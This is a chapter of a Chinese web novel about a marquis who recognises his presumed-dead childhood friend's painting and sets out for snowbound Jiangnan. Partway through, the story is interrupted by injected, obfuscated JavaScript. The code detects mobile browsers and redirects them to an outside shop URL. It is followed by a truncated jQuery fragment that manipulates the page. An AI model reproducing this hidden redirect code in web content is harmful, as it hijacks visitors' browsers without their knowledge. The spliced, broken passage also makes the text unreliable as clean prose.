风不语进京那日,城里刚停了一场雪。
京城也在下雪,只是这里的雪比江南薄,落在青石长街上,很快被车轮马蹄碾成一层污水。街边铺子照常开门,早点摊上热气腾腾,几个穿锦袍的公子骑马经过,正谈论城南新开的酒楼。
千里之外饿死的人,和这里不在同一场冬天。
风不语勒住缰绳,抬头看了一眼前方,侯府门前恰有一队人马离开。
换作平日,他少不得猜一猜来人身份,再顺手记下车马、人数、离府时辰,回去卖上半条消息,但今日实在没这闲心。
他奔袭了几日,腿还没断,已经是祖宗保佑。
守门的侍卫认得他,快步迎上前:“风阁主。”
风不语把缰绳随手丢过去,揉着几乎失去知觉的腰:“你家侯爷呢?”
侍卫迟疑了一瞬:“在暖阁。”
风不语不用旁人带路,自己朝暖阁走去,一路从前院走到内院,心里的火气随着腿上的酸痛一点点往上冒。
等终于进了暖阁,看见斜倚在榻上的人时,那点火就彻底顶到了头。
易归路懒懒靠在临窗的软榻上,一身绛紫宽袍松散地披着,腰带没系紧,领口一路敞到锁骨下方,露出大片冷白的皮肤。
长发只随意束了一半,剩下的垂在肩背,发尾沾着一点艳红,他指间转着一只紫檀小葫芦,眼皮微垂,远远看去,倒像刚从哪场温柔乡里抽身出来。
风不语站在门口看了他半晌:“我在外面累死累活,侯爷倒过得滋润。”
易归路连眼皮都没抬:“不是还活着么。”
“托您的福,只剩半条命。”
“那便省些力气,少说两句。”
风不语被噎得一时无言,索性拖过椅子坐下,给自己倒了满满一盏茶,一口气灌下去,水是温的,他嫌弃地皱眉,正要再倒,忽然瞥见易归路锁骨下方也蹭着一点淡红。
风不语动作一停。
易归路终于抬眼看他,随后从案边拿起一方湿帕,把颈侧那点胭脂慢慢擦去,又抬手拢好衣襟。
方才还衣衫不整的人,几个动作,便像换了一个人,领口重新合上,松散的腰带束紧,只有发尾那一点红还没抹去。
风不语啧了一声:“这么多年,也不嫌麻烦。”
易归路没接话,把湿帕丢回案上,紫檀小葫芦在他指间转了一圈,油亮的木纹映着窗外雪光,底部那枚极小的「言」字被掌心遮得严严实实。
风不语朝门外瞥了一眼:“方才走的,是三殿下?”
他这些年见过不少皇室宗亲,也见过不少人面对易归路时的样子。
有的忌惮,有的厌恶,还有的明面上笑得亲热,转身就恨不得他死得干净些,唯独易承泰不同,既不怕他,也懒得装喜欢他,每回见面都像看见一块糊不上墙的烂泥,嫌弃里掺着几分恨铁不成钢。
倒也有趣。
风不语放下茶盏:“江南的雪灾已经三个月了,赈灾银还没出京,朝中这群人为了谁去、谁留、银子从谁手里过,险些把金銮殿的地砖都吵翻。”
易归路转着手里的葫芦:“你来就是为了说这事?”
风不语看着他,慢悠悠道:“有人等不下去了。”
易归路指间的小葫芦停了一下,他抬起眼:“怎么,青云剑宗看不下去了?”
风不语摇头,从怀中取出一卷青布包裹的卷轴,放在两人之间,说起这次回来的正事:“听风阁前几日收了一样东西,花了大价钱,如今阁里欠着一笔不知道该怎么算的账,只好回来找东家。”
易归路的目光落在卷轴上,最普通的青布,系带也是随处可见的样式,看不出任何特别,可风不语奔袭数日赶回京城,只为了送这样一卷东西。
暖阁里燃着地龙,窗外雪水顺着檐角滴落,一声一声,衬得房里异常安静。
风不语也不催他。
过了好一会儿,易归路才把紫檀葫芦放到一旁,伸手拿起卷轴。
青色系带从指间松开,易归路只把卷轴展开寸许,一角淡青色的纸面露出来,是一道干净利落的墨线,还有落款处那个极小的「白」字。
易归路的手停住了。
落白,这是他年少时偷偷知晓的笔名。曾经的苏言,现在的陈醉,都以为自己瞒得严实。当年易归路兴奋于自己的发现,如此,二人才终于算是有了同一个秘密。
也幸好如此,他才能让听风阁关注跟他有关的一切,才能再次认出他来。
易归路的声音有些发颤:“竟真还有这一天。”
那一夜的火光,仿佛又从卷轴后面烧了起来。
苏家上下几十口人,一夜之间葬身火海。
易归路赶到时,屋梁已经烧塌了大半,滚烫的灰烬被夜风卷起,他在废墟里找了整整一夜,寻不到人,也寻不到完整的尸身,只在天亮以后,从一截焦黑的断梁下,捡到半块被火烧裂的玉佩。
可易归路始终不信苏言死了。
活要见人,死要见尸,既然没有尸身,他就能替那个人留一线生机。
最初一年,他派出去的人几乎踏遍了大雍。后来,他入手了听风阁,一座座分舵铺开,一封封消息送回京城。
六年间,与苏家有关的消息越来越多,却没有一条属于苏言,到后来,连风不语都不敢在他面前提那个名字了。
易归路也以为,自己或许已经习惯了。
可如今,不过是一道墨线,一个「白」字,他便忽然明白,那六年从未过去。
易归路松开手,卷轴继续向下展开。
画的是一场雪,河面冰封,一叶孤舟搁浅岸边,船头覆满积雪,远远望去,像一具沉默的白骨,城郭隐没在漫天风雪之后,不见人烟。
整幅画几乎洗尽了颜色,唯有船头,压着一朵小小的纸桃花。
易归路看了很久。
他记忆里的那个人,从来不是这样的。
十二岁那年,他第一次到苏家学画,一枝春杏,怎么也画不好,那人却翻窗而入,趴在桌边看了半晌,忽然笑出声,唇边一点小虎牙,明亮得像把整个春天都带进了那间书房。
这样的人,本该一辈子活在暖处,不该画得出这样的雪。
半晌,他低声道:“他过得很苦。”
风不语原本已经做好了看他发疯的准备,甚至立刻拆了整座听风阁,他都不会太意外。
偏偏易归路只说了这样一句话。
风不语心里那点准备全落了空,他很快又把这异样压下去,靠回椅背,故意长叹一声:“苦不苦我不知道,反正听风阁为了留下这幅画,连黑玉账牌都搭进去了。”
易归路并不在意听风阁会不会被搬空。
“谁送来的?”
“逍遥帮的人。”
风不语看了眼画上的雪:“江南这几个月冻死饿死的人太多,朝廷的赈灾银又迟迟不至,他们那位帮主,应当就是江湖上有名的侠盗月下仙,这三个月他们落脚江南,偷来的东西再经听风阁换成现银。”
易归路抬起眼:“每次都去听风阁?”
风不语不知何时又摸出了那两枚玉核桃,他听出一点山雨欲来的意思,摸了摸鼻子:“听风阁每日接的生意,没有一千也有八百,谁能想到江湖上那个来无影去无踪的月下仙,就是……”
他又咳了一声:“如今看来,应当是。”
易归路低头看着画中那朵纸桃花。
月下仙,逍遥帮,江南,这些字眼过去也曾出现在听风阁送来的消息里,只是从未有人把它们和他放在一处。
原来那个人离他并不远,甚至这些年一次又一次从听风阁门前经过,把东西送进他的铺子,换走他的银子。
易归路忽然笑了一下。
风不语往椅背里一缩:“你别这么笑。”
易归路把卷轴仔细卷好,重新系上青色布带:“备马。”
风不语一怔:“什么?!”
易归路说着已经起身,松散的长袍随着动作拢住腰身,肩背撑起衣料,方才那点醉后看花的轻佻顷刻散了。
“你现在去江南?”
“不然等他再消失六年?”
“我不是这个意思。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17985146|214905||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>风不语快步拦在他面前:“朝中几个皇子正在争赈灾钦差的位置,你这时候突然南下,多少双眼睛都会盯着你。”
易归路脚步没停。
风不语只好倒退着跟他讲道理:“还有,他隐姓埋名这么多年,显然不想被人找到,你这么大张旗鼓出现在他面前,确定不会把人直接吓跑?”
易归路终于停下。
风不语以为他听进去了,刚要松口气,就听他说:“放消息出去,就说安远侯听闻江南出美人,准备借赈灾之名南下选几个合心意的带回京城。”
风不语看着他,半天没说话。
这些年,易归路为了让皇帝放心,声色犬马的名声早已烂得不能再烂,府里养着一群所谓的男宠,隔三岔五便传出争风吃醋的笑话,风不语斟酌道:“只是江南灾民遍地,你这时候南下寻欢,会不会显得太不是东西了些?”
“这些年,他们何时觉得我是个东西?”
风不语无法反驳,易归路已经朝外走去。
风不语看着他的背影,半晌说不出话。
他低头看了一眼自己还没恢复知觉的双腿,又看看案上那盏连第二口都没来得及喝的温茶,他从江南赶回京城,昼夜兼程,三匹马跑废了两匹,如今水没喝上两口,椅子还没坐热,竟然又要跟着这位祖宗原路返回。
风不语闭了闭眼:当初听风阁初建时,他究竟是怎么瞎了眼,觉得跟着易归路能过上安稳日子的?
门外传来易归路冷冷的声音:“还不走?”
风不语认命地把茶盏一放:“来了!”
易归路往南赶的这些天,江南又落了几场雪。
听风阁的银子到账以后,江南的日子好过了不少,城南几个粥棚重新支了起来,药铺也肯赊些退热驱寒的药了,城外破庙里那几个病得最重的孩子,终于不必再三个人分一碗稀得照得见人影的粥。
没人知道钱是哪来的,又是谁送的,可墨尘依旧把每一笔账都记得明明白白。
几月初几,从听风阁支取白银多少,买米多少石,药材多少斤,又分别送去了哪些地方,一笔笔写得清楚,连运粮途中损耗的两只麻袋都单独列在账册后面。
灵蹊趴在桌边,看他写了大半日,忍不住说:“你还要记多久?”
墨尘头也不抬:“记到最后一文钱。”
“可那块牌子不是说,可以随便取吗?”
“可以随便取,不代表可以随便花。”
灵蹊想了想,觉得很有道理,她伸手拨了拨桌上的黑玉账牌:“反正我们又没乱花银子,都给了灾民,咱们自己连一只烧鸡都没买,也不算欠听风阁的。”
墨尘笔尖停了一下:“照你这么算,欠账的人只要没买烧鸡,就都不算欠钱?”
灵蹊理直气壮:“至少没占便宜。”
屋外又开始落雪。
比起前些日子,雪势小了许多,细碎雪粒打在檐角,只发出轻微的沙沙声。
陈醉倚在门边,已经站了很久,那幅画是他以落白之名重新作下的第一幅画,也是六年来的第一幅。
陈醉最初以落白之名作画,不过是少年意气,父亲说他笔力浮躁,他便偏要让天下人花千金求他一笔,后来名声越来越大,事情渐渐脱离了控制。
只是六年前苏家覆灭,落白也随之消失。
陈醉从未向任何人提过这个名字。
他知道自己的画值钱,可真的值一块黑玉账牌吗?听风阁开门做生意,天下之物,只要能开价,总该有个数目。
可风不语没有给银票,也没有给金银,而是把一块没有上限的账牌送了出来,这不像买画。
陈醉垂在身侧的手指轻轻蜷了一下,若听风阁真正听命的那个人,知道落白就是曾经的苏言,那他手里是否也握着关于苏家灭门的线索或真相?
可听风阁背后的人,到底是谁?究竟是敌是友?
陈醉垂眸看着玉牌边缘的云纹,突然开口:“明日去听风阁,再取一笔银子。”
墨尘抬头:“取多少?”
陈醉道:“够让真正做主的人露面便好。”